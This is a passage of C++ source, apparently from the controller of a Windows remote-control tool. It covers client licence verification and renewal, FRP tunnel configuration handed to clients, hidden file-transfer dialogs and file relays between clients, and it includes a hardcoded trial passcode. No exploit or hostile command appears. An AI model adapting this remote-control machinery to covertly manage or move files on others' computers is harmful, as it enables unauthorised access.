if (!g_2015RemoteDlg->PostMessage(WM_HANDLEMESSAGE, (WPARAM)hEvent, (LPARAM)ContextObject)) {
|
||
Mprintf("===> NotifyProc PostMessage FAILED: %p <===\n", ContextObject);
|
||
if (hEvent) SAFE_CLOSE_HANDLE(hEvent);
|
||
return FALSE;
|
||
}
|
||
if (hEvent) {
|
||
HANDLE handles[2] = { hEvent, g_2015RemoteDlg->m_hExit };
|
||
DWORD result = WaitForMultipleObjects(2, handles, FALSE, INFINITE);
|
||
if (result == WAIT_FAILED) {
|
||
DWORD err = GetLastError();
|
||
Mprintf("NotifyProc WaitForMultipleObjects failed, error=%lu\n", err);
|
||
}
|
||
}
|
||
}
|
||
return TRUE;
|
||
}
|
||
|
||
|
||
BOOL CALLBACK CMy2015RemoteDlg::OfflineProc(CONTEXT_OBJECT* ContextObject)
|
||
{
|
||
if (!g_2015RemoteDlg || g_2015RemoteDlg->isClosed)
|
||
return FALSE;
|
||
|
||
SOCKET nSocket = ContextObject->sClientSocket;
|
||
|
||
CDialogBase* p = (CDialogBase*)ContextObject->hDlg;
|
||
if (ContextObject->hWnd && ::IsWindow(ContextObject->hWnd) && p && p->ShouldReconnect()) {
|
||
::PostMessageA(ContextObject->hWnd, WM_DISCONNECT, 0, 0);
|
||
ContextObject->hDlg = NULL;
|
||
ContextObject->hWnd = NULL;
|
||
}
|
||
|
||
// Fix use-after-free: Remove from m_HostList BEFORE returning.
|
||
// After this function returns, MoveContextToFreePoolList() will free the context.
|
||
// If we only post a message, the timer could fire and iterate m_HostList
|
||
// before OnUserOfflineMsg runs, causing crash when accessing freed memory.
|
||
//
|
||
// Allocate OfflineInfo on heap to pass context data to UI thread safely.
|
||
OfflineInfo* info = new OfflineInfo();
|
||
|
||
EnterCriticalSection(&g_2015RemoteDlg->m_cs);
|
||
// Copy info before removing (context will be freed after this function returns)
|
||
info->hWnd = ContextObject->hWnd;
|
||
info->ip = ContextObject->GetClientData(ONLINELIST_IP);
|
||
auto tm = ContextObject->GetAliveTime();
|
||
info->aliveInfo = tm >= 86400 ? floatToString(tm / 86400.f) + " d" :
|
||
tm >= 3600 ? floatToString(tm / 3600.f) + " h" :
|
||
tm >= 60 ? floatToString(tm / 60.f) + " m" : floatToString(tm) + " s";
|
||
|
||
// Remove from host list and pending online queue
|
||
info->hasLogin = g_2015RemoteDlg->RemoveFromHostList(ContextObject);
|
||
auto& pending = g_2015RemoteDlg->m_PendingOnline;
|
||
auto it = std::find(pending.begin(), pending.end(), (context*)ContextObject);
|
||
if (it != pending.end()) {
|
||
pending.erase(it);
|
||
}
|
||
g_2015RemoteDlg->m_PendingOffline.push_back((int)nSocket);
|
||
LeaveCriticalSection(&g_2015RemoteDlg->m_cs);
|
||
|
||
// Post message with copied info (OnUserOfflineMsg will delete info)
|
||
if (!g_2015RemoteDlg->PostMessage(WM_USEROFFLINEMSG, (WPARAM)info, 0)) {
|
||
delete info; // Prevent memory leak if PostMessage fails
|
||
}
|
||
|
||
ContextObject->hDlg = NULL;
|
||
ContextObject->hWnd = NULL;
|
||
|
||
return TRUE;
|
||
}
|
||
|
||
|
||
LRESULT CMy2015RemoteDlg::OnHandleMessage(WPARAM wParam, LPARAM lParam)
|
||
{
|
||
HANDLE hEvent = (HANDLE)wParam;
|
||
CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)lParam;
|
||
MessageHandle(ContextObject);
|
||
if (hEvent) {
|
||
SetEvent(hEvent);
|
||
SAFE_CLOSE_HANDLE(hEvent);
|
||
}
|
||
return S_OK;
|
||
}
|
||
|
||
std::string getDateStr(int daysOffset = 0)
|
||
{
|
||
// 获取当前时间点
|
||
std::time_t now = std::time(nullptr);
|
||
|
||
// 加上指定的天数(可以为负)
|
||
now += static_cast<std::time_t>(daysOffset * 24 * 60 * 60);
|
||
|
||
std::tm* t = std::localtime(&now);
|
||
|
||
std::ostringstream oss;
|
||
oss << std::setfill('0') << std::setw(4) << (t->tm_year + 1900)
|
||
<< std::setw(2) << (t->tm_mon + 1)
|
||
<< std::setw(2) << t->tm_mday;
|
||
|
||
return oss.str();
|
||
}
|
||
|
||
bool SendData(void* user, FileChunkPacket* chunk, BYTE* data, int size)
|
||
{
|
||
CONTEXT_OBJECT* ctx = (CONTEXT_OBJECT*)user;
|
||
if (!ctx->Send2Client(data, size)) {
|
||
return false;
|
||
}
|
||
CDlgFileSend* dlg = (CDlgFileSend*)ctx->hDlg;
|
||
if (!dlg) return false;
|
||
BYTE* name = data + sizeof(FileChunkPacket);
|
||
dlg->UpdateProgress(CString((char*)name, chunk->nameLength), FileProgressInfo(chunk));
|
||
|
||
return true;
|
||
}
|
||
|
||
bool SendDataV2(void* user, FileChunkPacketV2* chunk, BYTE* data, int size)
|
||
{
|
||
CONTEXT_OBJECT* ctx = (CONTEXT_OBJECT*)user;
|
||
if (!ctx->Send2Client(data, size)) {
|
||
return false;
|
||
}
|
||
CDlgFileSend* dlg = (CDlgFileSend*)ctx->hDlg;
|
||
if (!dlg) return false;
|
||
BYTE* name = data + sizeof(FileChunkPacketV2);
|
||
dlg->UpdateProgress(CString((char*)name, (int)chunk->nameLength), FileProgressInfo(chunk));
|
||
|
||
return true;
|
||
}
|
||
|
||
void delay_cancel(CONTEXT_OBJECT* ctx, int sec)
|
||
{
|
||
if (!ctx) return;
|
||
|
||
// 检查程序是否正在退出
|
||
if (g_bAppExiting) return;
|
||
|
||
CDlgFileSend* dlg = (CDlgFileSend*)ctx->hDlg;
|
||
if (dlg) dlg->FinishFileSend(TRUE);
|
||
|
||
// 分段睡眠,每 100ms 检查一次退出标志
|
||
for (int i = 0; i < sec * 10 && !g_bAppExiting; i++) {
|
||
Sleep(100);
|
||
}
|
||
|
||
// 再次检查退出标志
|
||
if (g_bAppExiting) return;
|
||
|
||
if (dlg && ::IsWindow(dlg->GetSafeHwnd()))
|
||
dlg->PostMessageA(WM_CLOSE);
|
||
ctx->hDlg = NULL;
|
||
ctx->hWnd = NULL;
|
||
ctx->CancelIO();
|
||
}
|
||
|
||
void FinishSend(void* user)
|
||
{
|
||
CONTEXT_OBJECT* ctx = (CONTEXT_OBJECT*)user;
|
||
// 需要等待客户端接收完成方可关闭
|
||
std::thread(delay_cancel, ctx, 15).detach();
|
||
}
|
||
|
||
bool IsDateInRange(const std::string& startDate, const std::string& endDate)
|
||
{
|
||
// 校验格式:必须是8位纯数字
|
||
auto isValidDate = [](const std::string& date) -> bool {
|
||
if (date.length() != 8)
|
||
return false;
|
||
for (char c : date)
|
||
{
|
||
if (c < '0' || c > '9')
|
||
return false;
|
||
}
|
||
int month = std::stoi(date.substr(4, 2));
|
||
int day = std::stoi(date.substr(6, 2));
|
||
return (month >= 1 && month <= 12 && day >= 1 && day <= 31);
|
||
};
|
||
|
||
if (!isValidDate(startDate) || !isValidDate(endDate))
|
||
return false;
|
||
|
||
if (startDate > endDate)
|
||
return false;
|
||
|
||
SYSTEMTIME st;
|
||
GetLocalTime(&st);
|
||
|
||
char today[9];
|
||
sprintf_s(today, "%04d%02d%02d", st.wYear, st.wMonth, st.wDay);
|
||
|
||
return (today >= startDate && today <= endDate);
|
||
}
|
||
|
||
BOOL CMy2015RemoteDlg::AuthorizeClient(context* ctx, const std::string& sn, const std::string& passcode, uint64_t hmac, bool* outExpired)
|
||
{
|
||
if (outExpired) *outExpired = false;
|
||
|
||
if (sn.empty() || passcode.empty() || hmac == 0) {
|
||
return FALSE;
|
||
}
|
||
auto v = splitString(passcode, '-');
|
||
if (v.size() == 6 || v.size() == 7) {
|
||
std::vector<std::string> subvector(v.end() - 4, v.end());
|
||
std::string password = v[0] + " - " + v[1] + ": " + GetPwdHash() + (v.size() == 6 ? "" : ": " + v[2]);
|
||
std::string finalKey = deriveKey(password, sn);
|
||
std::string hash256 = joinString(subvector, '-');
|
||
std::string fixedKey = getFixedLengthID(finalKey);
|
||
if (hash256 != fixedKey)
|
||
return FALSE;
|
||
}
|
||
|
||
static const char* superAdmin = getenv(BRAND_ENV_VAR);
|
||
std::string pwd = superAdmin ? superAdmin : m_superPass;
|
||
if (pwd.empty()) {
|
||
Mprintf("请设置环境变量 " BRAND_ENV_VAR " 来给下级授权!\n");
|
||
}
|
||
BOOL b = VerifyMessage(pwd, (BYTE*)passcode.c_str(), passcode.length(), hmac);
|
||
if (!b) return FALSE;
|
||
auto list = StringToVector(passcode, '-', 2);
|
||
BOOL valid = IsDateInRange(list[0], list[1]);
|
||
std::string hmacStr = std::to_string(hmac);
|
||
|
||
// 授权过期,更新或创建记录并标记为过期
|
||
if (!valid) {
|
||
Mprintf("授权已过期: %s\n", sn.c_str());
|
||
if (outExpired) *outExpired = true; // 签名有效但已过期
|
||
if (ctx != nullptr) {
|
||
std::string ip = ctx->GetClientData(ONLINELIST_IP);
|
||
std::string location = m_IPConverter ? m_IPConverter->GetGeoLocation(ip) : "";
|
||
std::string machineName = ctx->GetClientData(ONLINELIST_COMPUTER_NAME);
|
||
UpdateLicenseActivity(sn, passcode, hmacStr, ip, location, machineName);
|
||
} else {
|
||
UpdateLicenseActivity(sn, passcode, hmacStr);
|
||
}
|
||
SetLicenseStatus(sn, LICENSE_STATUS_EXPIRED);
|
||
return FALSE;
|
||
}
|
||
|
||
// 检查授权是否已被撤销
|
||
if (IsLicenseRevoked(sn)) {
|
||
Mprintf("授权已被撤销: %s\n", sn.c_str());
|
||
return FALSE;
|
||
}
|
||
|
||
// 授权成功时更新 license 活跃信息
|
||
if (ctx != nullptr) {
|
||
std::string ip = ctx->GetClientData(ONLINELIST_IP);
|
||
std::string location = m_IPConverter ? m_IPConverter->GetGeoLocation(ip) : "";
|
||
std::string machineName = ctx->GetClientData(ONLINELIST_COMPUTER_NAME);
|
||
UpdateLicenseActivity(sn, passcode, hmacStr, ip, location, machineName);
|
||
} else {
|
||
UpdateLicenseActivity(sn, passcode, hmacStr);
|
||
}
|
||
|
||
return TRUE;
|
||
}
|
||
|
||
BOOL CMy2015RemoteDlg::AuthorizeClientV2(context* ctx, const std::string& sn, const std::string& passcode, const std::string& hmacV2, bool* outExpired)
|
||
{
|
||
if (outExpired) *outExpired = false;
|
||
|
||
if (sn.empty() || passcode.empty() || hmacV2.empty()) {
|
||
return FALSE;
|
||
}
|
||
|
||
// 检查 V2 前缀
|
||
if (hmacV2.substr(0, 3) != "v2:") {
|
||
Mprintf("V2 HMAC 格式错误: %s\n", hmacV2.c_str());
|
||
return FALSE;
|
||
}
|
||
|
||
// 检查公钥是否已配置(全零表示未配置)
|
||
bool keyConfigured = false;
|
||
for (int i = 0; i < 64; i++) {
|
||
if (g_LicensePublicKey[i] != 0) {
|
||
keyConfigured = true;
|
||
break;
|
||
}
|
||
}
|
||
if (!keyConfigured) {
|
||
Mprintf("V2 公钥未配置,无法验证 V2 授权\n");
|
||
return FALSE;
|
||
}
|
||
|
||
// 使用 V2 验证
|
||
BOOL b = verifyPasswordV2(sn, passcode, hmacV2, g_LicensePublicKey);
|
||
if (!b) {
|
||
Mprintf("V2 签名验证失败: %s\n", sn.c_str());
|
||
return FALSE;
|
||
}
|
||
|
||
auto list = StringToVector(passcode, '-', 2);
|
||
BOOL valid = IsDateInRange(list[0], list[1]);
|
||
|
||
// 授权过期
|
||
if (!valid) {
|
||
Mprintf("V2 授权已过期: %s\n", sn.c_str());
|
||
if (outExpired) *outExpired = true; // 签名有效但已过期
|
||
if (ctx != nullptr) {
|
||
std::string ip = ctx->GetClientData(ONLINELIST_IP);
|
||
std::string location = m_IPConverter ? m_IPConverter->GetGeoLocation(ip) : "";
|
||
std::string machineName = ctx->GetClientData(ONLINELIST_COMPUTER_NAME);
|
||
UpdateLicenseActivity(sn, passcode, hmacV2, ip, location, machineName);
|
||
} else {
|
||
UpdateLicenseActivity(sn, passcode, hmacV2);
|
||
}
|
||
SetLicenseStatus(sn, LICENSE_STATUS_EXPIRED);
|
||
return FALSE;
|
||
}
|
||
|
||
// 检查授权是否已被撤销
|
||
if (IsLicenseRevoked(sn)) {
|
||
Mprintf("V2 授权已被撤销: %s\n", sn.c_str());
|
||
return FALSE;
|
||
}
|
||
|
||
// 授权成功时更新 license 活跃信息
|
||
if (ctx != nullptr) {
|
||
std::string ip = ctx->GetClientData(ONLINELIST_IP);
|
||
std::string location = m_IPConverter ? m_IPConverter->GetGeoLocation(ip) : "";
|
||
std::string machineName = ctx->GetClientData(ONLINELIST_COMPUTER_NAME);
|
||
UpdateLicenseActivity(sn, passcode, hmacV2, ip, location, machineName);
|
||
} else {
|
||
UpdateLicenseActivity(sn, passcode, hmacV2);
|
||
}
|
||
|
||
return TRUE;
|
||
}
|
||
|
||
BOOL IsTrail(const std::string& passcode)
|
||
{
|
||
return passcode == "20260201-20280201-0020-be94-120d-20f9-919a";
|
||
}
|
||
|
||
BOOL IsLastDay(const std::string& passcode, const std::string& renewalPasscode) {
|
||
bool isLastDay = false;
|
||
// 使用有效的 passcode(续期后的优先)
|
||
std::string effectivePasscode = renewalPasscode.empty() ? passcode : renewalPasscode;
|
||
if (effectivePasscode.length() >= 17 && effectivePasscode[8] == '-') {
|
||
// 提取 endDate: YYYYMMDD (位置 9-16)
|
||
std::string endDateStr = effectivePasscode.substr(9, 8);
|
||
// 获取今天的日期
|
||
time_t now = time(nullptr);
|
||
struct tm tm_now;
|
||
gmtime_s(&tm_now, &now);
|
||
char today[9];
|
||
strftime(today, sizeof(today), "%Y%m%d", &tm_now);
|
||
isLastDay = (endDateStr == today);
|
||
}
|
||
return isLastDay;
|
||
}
|
||
|
||
VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
|
||
{
|
||
if (isClosed) {
|
||
return;
|
||
}
|
||
clock_t tick = clock();
|
||
unsigned cmd = ContextObject->InDeCompressedBuffer.GetBYTE(0);
|
||
LPBYTE szBuffer = ContextObject->InDeCompressedBuffer.GetBuffer();
|
||
unsigned len = ContextObject->InDeCompressedBuffer.GetBufferLen();
|
||
// 【L】:主机上下线和授权
|
||
// 【x】:对话框相关功能
|
||
switch (cmd) {
|
||
case TOKEN_CLIENT_MSG: {
|
||
ClientMsg *msg =(ClientMsg*)ContextObject->InDeCompressedBuffer.GetBuffer(0);
|
||
PostMessageA(WM_SHOWERRORMSG, (WPARAM)new CString(_L(msg->text)), (LPARAM)new CString(_L(msg->title)));
|
||
break;
|
||
}
|
||
case TOKEN_AUTH: {
|
||
BOOL valid = FALSE;
|
||
std::string version;
|
||
std::string authStr; // Authorization 字符串
|
||
std::string passcode;
|
||
std::string renewalPasscode, renewalHmac; // 续期信息
|
||
if (len > 20) {
|
||
std::string sn(szBuffer + 1, szBuffer + 20); // length: 19
|
||
passcode = std::string(szBuffer + 20, szBuffer + 62); // length: 42
|
||
uint64_t hmac = len > 64 ? *((uint64_t*)(szBuffer+62)) : 0;
|
||
version = len >= 80 ? std::string((char*)szBuffer + 70, (char*)szBuffer + 80) : "";
|
||
// 去除末尾的空字符
|
||
while (!version.empty() && version.back() == '\0')
|
||
version.pop_back();
|
||
|
||
// 检查是否为 V2 授权(hmac == 0 且有 V2 HMAC 字符串)
|
||
std::string hmacV2;
|
||
std::string pwdHash;
|
||
size_t hmacV2End = 80;
|
||
if (hmac == 0 && len > 80) {
|
||
// V2 HMAC 字符串在 offset 80 处(null-terminated)
|
||
hmacV2 = std::string((char*)szBuffer + 80);
|
||
// 去除末尾空字符
|
||
while (!hmacV2.empty() && hmacV2.back() == '\0')
|
||
hmacV2.pop_back();
|
||
hmacV2End = 80 + hmacV2.length() + 1; // +1 for null terminator
|
||
}
|
||
|
||
// 解析 pwdHash(在 hmacV2 之后,64 字节)
|
||
if (len >= hmacV2End + 64) {
|
||
pwdHash = std::string((char*)szBuffer + hmacV2End, 64);
|
||
}
|
||
|
||
// 统一的 V1/V2 授权验证
|
||
std::string ip = ContextObject->GetPeerName();
|
||
auto [authorized, isV2, isTrail, expired] = VerifyClientAuth(NULL, sn, passcode, hmac, hmacV2, ip, "AUTH");
|
||
valid = authorized;
|
||
bool isV2Auth = !hmacV2.empty() && hmacV2.substr(0, 3) == "v2:";
|
||
|
||
// 生成续期信息(如果有预设续期且 pwdHash 有效)
|
||
// 支持已过期但签名有效的授权续期(前提:有预设续期)
|
||
if ((valid || expired) && !pwdHash.empty()) {
|
||
auto renewal = GenerateRenewalInfo(sn, passcode, pwdHash, isV2Auth);
|
||
renewalPasscode = renewal.first;
|
||
renewalHmac = renewal.second;
|
||
|
||
// 如果是过期授权且成功生成续期,则视为有效(允许续期)
|
||
if (expired && !renewalPasscode.empty()) {
|
||
valid = TRUE;
|
||
Mprintf("[TOKEN_AUTH] 已过期授权续期: %s\n", sn.c_str());
|
||
}
|
||
}
|
||
|
||
// 构建 Authorization(多层授权)
|
||
if (valid) {
|
||
if (isV2Auth) {
|
||
// V2 授权请求:总是返回 Authorization(以便客户端更新)
|
||
// 心跳续期没有 Authorization 字段,所以 TOKEN_AUTH 必须返回
|
||
// 如果有续期,使用续期后的 passcode
|
||
std::string effectivePasscode = renewalPasscode.empty() ? passcode : renewalPasscode;
|
||
authStr = BuildAuthorizationResponse(sn, effectivePasscode, pwdHash, true);
|
||
} else {
|
||
// V1 授权请求(pwdHash 参数在 V1 模式下不使用,传空字符串)
|
||
authStr = BuildAuthorizationResponse(sn, passcode, "", false);
|
||
}
|
||
}
|
||
} else {
|
||
Mprintf("授权数据长度不足: %u\n", len);
|
||
}
|
||
|
||
// 构建响应:[valid:4][message\0][authorization\0][renewal_passcode\0][renewal_hmac\0][frp_config\0][reserved\0]
|
||
char resp[800] = { 0 }; // 增加缓冲区大小以容纳 frpConfig
|
||
memcpy(resp, &valid, sizeof(valid));
|
||
|
||
std::string msgStr;
|
||
if (valid) {
|
||
bool isLastDay = IsLastDay(passcode, renewalPasscode);
|
||
msgStr = isLastDay ? _TR("此程序授权即将到期,请联系管理员续期") : _TR("此程序已获授权,请遵守授权协议,感谢合作");
|
||
} else {
|
||
msgStr = _TR("未获授权或消息哈希校验失败,可能有使用限制");
|
||
}
|
||
// 版本比较:如果服务端版本更高或客户端未上报版本,追加升级提醒
|
||
if (valid && (version.empty() || version < VERSION_STR)) {
|
||
msgStr += _TR("。最新版本 v");
|
||
msgStr += VERSION_STR;
|
||
msgStr += _TR(",请自行下载或联系管理员");
|
||
}
|
||
size_t offset = 4;
|
||
memcpy(resp + offset, msgStr.c_str(), min(msgStr.length(), sizeof(resp) - offset - 1));
|
||
offset += msgStr.length() + 1; // +1 for null terminator
|
||
|
||
// Authorization 追加在 message 之后
|
||
if (!authStr.empty() && offset + authStr.length() + 1 < sizeof(resp)) {
|
||
memcpy(resp + offset, authStr.c_str(), authStr.length() + 1);
|
||
offset += authStr.length() + 1;
|
||
} else {
|
||
offset += 1; // 空的 authorization,只占一个 null terminator
|
||
}
|
||
|
||
// 续期信息追加在 authorization 之后
|
||
if (!renewalPasscode.empty() && offset + renewalPasscode.length() + 1 + renewalHmac.length() + 1 < sizeof(resp)) {
|
||
memcpy(resp + offset, renewalPasscode.c_str(), renewalPasscode.length() + 1);
|
||
offset += renewalPasscode.length() + 1;
|
||
memcpy(resp + offset, renewalHmac.c_str(), renewalHmac.length() + 1);
|
||
offset += renewalHmac.length() + 1;
|
||
} else {
|
||
// 空的续期信息,占两个 null terminator
|
||
offset += 2;
|
||
}
|
||
|
||
// FRP 配置追加在续期信息之后(仅当授权有效时)
|
||
std::string frpConfig;
|
||
if (valid && len > 20) {
|
||
std::string snForFrp(szBuffer + 1, szBuffer + 20);
|
||
// 去除末尾空字符
|
||
while (!snForFrp.empty() && snForFrp.back() == '\0')
|
||
snForFrp.pop_back();
|
||
frpConfig = LoadLicenseFrpConfig(snForFrp);
|
||
}
|
||
if (!frpConfig.empty() && offset + frpConfig.length() + 1 < sizeof(resp)) {
|
||
memcpy(resp + offset, frpConfig.c_str(), frpConfig.length() + 1);
|
||
offset += frpConfig.length() + 1;
|
||
} else {
|
||
offset += 1; // 空的 frpConfig
|
||
}
|
||
|
||
// Reserved 字段(预留,当前为空)
|
||
offset += 1; // 空的 reserved
|
||
|
||
ContextObject->Send2Client((PBYTE)resp, sizeof(resp));
|
||
break;
|
||
}
|
||
case COMMAND_GET_FILE: {
|
||
// 发送文件
|
||
std::string dir = (char*)(szBuffer + 1);
|
||
char* ptr = (char*)szBuffer + 1 + dir.length() + 1;
|
||
auto md5 = CalcMD5FromBytes((BYTE*)ptr, len - 2 - dir.length());
|
||
if (!m_CmdList.PopCmd(md5)) {
|
||
Mprintf("【警告】文件传输指令非法或已过期: %s\n", md5.c_str());
|
||
ContextObject->CancelIO();
|
||
break;
|
||
}
|
||
auto files = *ptr ? ParseMultiStringPath(ptr, len - 2 - dir.length()) : std::vector<std::string> {};
|
||
if (!files.empty()) {
|
||
CDlgFileSend* dlg = new CDlgFileSend(this, ContextObject->GetServer(), ContextObject, TRUE);
|
||
dlg->Create(IDD_DIALOG_FILESEND, GetDesktopWindow());
|
||
dlg->ShowWindow(SW_HIDE);
|
||
ContextObject->hDlg = dlg;
|
||
ContextObject->hWnd = dlg->GetSafeHwnd();
|
||
std::string hash = GetPwdHash(), hmac = GetHMAC(100);
|
||
std::thread(FileBatchTransferWorker, files, dir, ContextObject, SendData, FinishSend,
|
||
hash, hmac).detach();
|
||
} else {
|
||
ContextObject->CancelIO();
|
||
}
|
||
break;
|
||
}
|
||
case COMMAND_SEND_FILE: {
|
||
// 接收文件
|
||
if (ContextObject->hDlg == NULL) {
|
||
CDlgFileSend* dlg = new CDlgFileSend(this, ContextObject->GetServer(), ContextObject, FALSE);
|
||
dlg->Create(IDD_DIALOG_FILESEND, GetDesktopWindow());
|
||
dlg->ShowWindow(SW_HIDE);
|
||
ContextObject->hDlg = dlg;
|
||
ContextObject->hWnd = dlg->GetSafeHwnd();
|
||
}
|
||
DialogBase* dlg = (DialogBase*)ContextObject->hDlg;
|
||
dlg->OnReceiveComplete();
|
||
|
||
break;
|
||
}
|
||
case COMMAND_SEND_FILE_V2: {
|
||
// V2 文件传输(支持 C2C)
|
||
FileChunkPacketV2* pkt = (FileChunkPacketV2*)szBuffer;
|
||
|
||
if (pkt->dstClientID == 0) {
|
||
// 目标是主控端:本地接收
|
||
if (ContextObject->hDlg == NULL) {
|
||
CDlgFileSend* dlg = new CDlgFileSend(this, ContextObject->GetServer(), ContextObject, FALSE);
|
||
dlg->Create(IDD_DIALOG_FILESEND, GetDesktopWindow());
|
||
dlg->ShowWindow(SW_HIDE);
|
||
ContextObject->hDlg = dlg;
|
||
ContextObject->hWnd = dlg->GetSafeHwnd();
|
||
}
|
||
// OnReceiveComplete() 会根据 cmd 字节自动判断 V1/V2
|
||
DialogBase* dlg = (DialogBase*)ContextObject->hDlg;
|
||
dlg->OnReceiveComplete();
|
||
} else {
|
||
// C2C:转发到目标客户端
|
||
context* dstCtx = FindHost(pkt->dstClientID);
|
||
if (dstCtx) {
|
||
dstCtx->Send2Client(szBuffer, len);
|
||
|
||
// 获取或创建进度对话框(和客户端->服务端相同方式)
|
||
if (ContextObject->hDlg == NULL) {
|
||
CDlgFileSend* dlg = new CDlgFileSend(this, ContextObject->GetServer(), ContextObject, FALSE);
|
||
dlg->Create(IDD_DIALOG_FILESEND, GetDesktopWindow());
|
||
dlg->ShowWindow(SW_SHOW);
|
||
dlg->SetWindowText(_TR("C2C 文件传输"));
|
||
ContextObject->hDlg = dlg;
|
||
ContextObject->hWnd = dlg->GetSafeHwnd();
|
||
}
|
||
|
||
// 更新进度
|
||
CDlgFileSend* dlg = (CDlgFileSend*)ContextObject->hDlg;
|
||
if (dlg && dlg->GetSafeHwnd()) {
|
||
CString fileName((char*)(pkt + 1), pkt->nameLength);
|
||
FileProgressInfo info(pkt);
|
||
dlg->UpdateProgress(fileName, info);
|
||
|
||
// 最后一个文件的最后一个包
|
||
if (pkt->fileIndex + 1 == pkt->totalFiles &&
|
||
pkt->offset + pkt->dataLength >= pkt->fileSize) {
|
||
dlg->FinishFileSend(TRUE);
|
||
}
|
||
}
|
||
} else {
|
||
Mprintf("[V2] C2C 转发失败: 目标 %llu 不在线\n", pkt->dstClientID);
|
||
}
|
||
}
|
||
break;
|
||
}
|
||
case COMMAND_FILE_RESUME: {
|
||
// V2 断点续传控制
|
||
// 注意:有两种格式的包共用此命令:
|
||
// - FileResumePacketV2 (49+ bytes): 单文件续传请求/响应
|
||
// - FileResumeResponseV2 (23+ bytes): 批量续传查询响应
|
||
// 通过包大小区分
|
||
|
||
if (len >= sizeof(FileResumePacketV2)) {
|
||
// 大包: 按 FileResumePacketV2 解析
|
||
FileResumePacketV2* pkt = (FileResumePacketV2*)szBuffer;
|
||
|
||
if (pkt->dstClientID == 0) {
|
||
// 目标是主控端 - 客户端请求续传到主控端
|
||
Mprintf("[V2] 收到断点续传请求: transferID=%llu, flags=0x%04X\n", pkt->transferID, pkt->flags);
|
||
|
||
if (pkt->flags & FFV2_RESUME_REQ) {
|
||
// 客户端询问:你收到了多少?
|
||
// 获取本地接收状态并发送响应
|
||
TransferStateInfo info;
|
||
if (GetTransferState(pkt->transferID, pkt->fileIndex, info)) {
|
||
// 构建 RESUME_RESP 包
|
||
size_t rangeDataSize = info.receivedRanges.size() * sizeof(FileRangeV2);
|
||
size_t totalSize = sizeof(FileResumePacketV2) + rangeDataSize;
|
||
std::vector<uint8_t> respBuf(totalSize);
|
||
|
||
FileResumePacketV2* resp = (FileResumePacketV2*)respBuf.data();
|
||
resp->cmd = COMMAND_FILE_RESUME;
|
||
resp->transferID = pkt->transferID;
|
||
resp->srcClientID = 0; // 主控端
|
||
resp->dstClientID = pkt->srcClientID; // 回复给请求方
|
||
resp->fileIndex = pkt->fileIndex;
|
||
resp->fileSize = info.fileSize;
|
||
resp->receivedBytes = info.receivedBytes;
|
||
resp->flags = FFV2_RESUME_RESP;
|
||
resp->rangeCount = (uint16_t)info.receivedRanges.size();
|
||
|
||
// 写入区间数据
|
||
FileRangeV2* ranges = (FileRangeV2*)(respBuf.data() + sizeof(FileResumePacketV2));
|
||
for (size_t i = 0; i < info.receivedRanges.size(); i++) {
|
||
ranges[i].offset = info.receivedRanges[i].first;
|
||
ranges[i].length = info.receivedRanges[i].second;
|
||
}
|
||
|
||
ContextObject->Send2Client((LPBYTE)respBuf.data(), (int)totalSize);
|
||
Mprintf("[V2] 已发送续传响应: received=%llu/%llu, ranges=%zu\n",
|
||
info.receivedBytes, info.fileSize, info.receivedRanges.size());
|
||
} else {
|
||
// 没有找到传输状态,可能是全新传输或已完成
|
||
Mprintf("[V2] 未找到传输状态: transferID=%llu\n", pkt->transferID);
|
||
// 发送空响应,表示需要从头开始
|
||
FileResumePacketV2 resp = {};
|
||
resp.cmd = COMMAND_FILE_RESUME;
|
||
resp.transferID = pkt->transferID;
|
||
resp.srcClientID = 0;
|
||
resp.dstClientID = pkt->srcClientID;
|
||
resp.fileIndex = pkt->fileIndex;
|
||
resp.fileSize = 0;
|
||
resp.receivedBytes = 0;
|
||
resp.flags = FFV2_RESUME_RESP;
|
||
resp.rangeCount = 0;
|
||
ContextObject->Send2Client((LPBYTE)&resp, sizeof(resp));
|
||
}
|
||
}
|
||
else if (pkt->flags & FFV2_CANCEL) {
|
||
// 取消传输
|
||
CleanupResumeState(pkt->transferID);
|
||
Mprintf("[V2] 传输已取消: transferID=%llu\n", pkt->transferID);
|
||
}
|
||
} else if (pkt->srcClientID == 0 && (pkt->flags & FFV2_RESUME_REQ)) {
|
||
// 服务端是源 - 客户端请求续传服务端发送的文件
|
||
Mprintf("[V2] 收到服务端->客户端续传请求: transferID=%llu, received=%llu/%llu\n",
|
||
pkt->transferID, pkt->receivedBytes, pkt->fileSize);
|
||
HandleFileResumeRequest(ContextObject, szBuffer, len);
|
||
} else {
|
||
// 转发到目标客户端
|
||
context* dstCtx = FindHost(pkt->dstClientID);
|
||
if (dstCtx) {
|
||
dstCtx->Send2Client(szBuffer, len);
|
||
Mprintf("[V2] 转发续传包: transferID=%llu -> %llu\n", pkt->transferID, pkt->dstClientID);
|
||
} else {
|
||
Mprintf("[V2] 续传目标不在线: %llu\n", pkt->dstClientID);
|
||
}
|
||
}
|
||
} else if (len >= sizeof(FileResumeResponseV2)) {
|
||
// 小包: 按 FileResumeResponseV2 解析(批量续传查询响应)
|
||
FileResumeResponseV2* resp = (FileResumeResponseV2*)szBuffer;
|
||
|
||
if (resp->dstClientID == 0) {
|
||
// 目标是服务端 - 处理客户端的续传响应
|
||
Mprintf("[V2] 收到客户端续传响应: %u 个文件, srcClientID=%llu\n", resp->fileCount, resp->srcClientID);
|
||
|
||
// 解析响应条目
|
||
std::map<uint32_t, uint64_t> offsets;
|
||
const uint8_t* ptr = szBuffer + sizeof(FileResumeResponseV2);
|
||
const uint8_t* end = szBuffer + len;
|
||
for (uint32_t i = 0; i < resp->fileCount && ptr + sizeof(FileResumeResponseEntryV2) <= end; i++) {
|
||
const FileResumeResponseEntryV2* entry = (const FileResumeResponseEntryV2*)ptr;
|
||
if (entry->receivedBytes > 0) {
|
||
offsets[entry->fileIndex] = entry->receivedBytes;
|
||
Mprintf("[V2] 文件 %u: 已接收 %llu 字节\n", entry->fileIndex, entry->receivedBytes);
|
||
}
|
||
ptr += sizeof(FileResumeResponseEntryV2);
|
||
}
|
||
|
||
// 设置全局续传偏移
|
||
SetPendingResumeOffsets(offsets);
|
||
} else {
|
||
// 转发到目标客户端
|
||
context* dstCtx = FindHost(resp->dstClientID);
|
||
if (dstCtx) {
|
||
dstCtx->Send2Client(szBuffer, len);
|
||
Mprintf("[V2] 转发续传响应: -> %llu, %u 个文件\n", resp->dstClientID, resp->fileCount);
|
||
} else {
|
||
Mprintf("[V2] 续传响应目标不在线: %llu\n", resp->dstClientID);
|
||
}
|
||
}
|
||
} else {
|
||
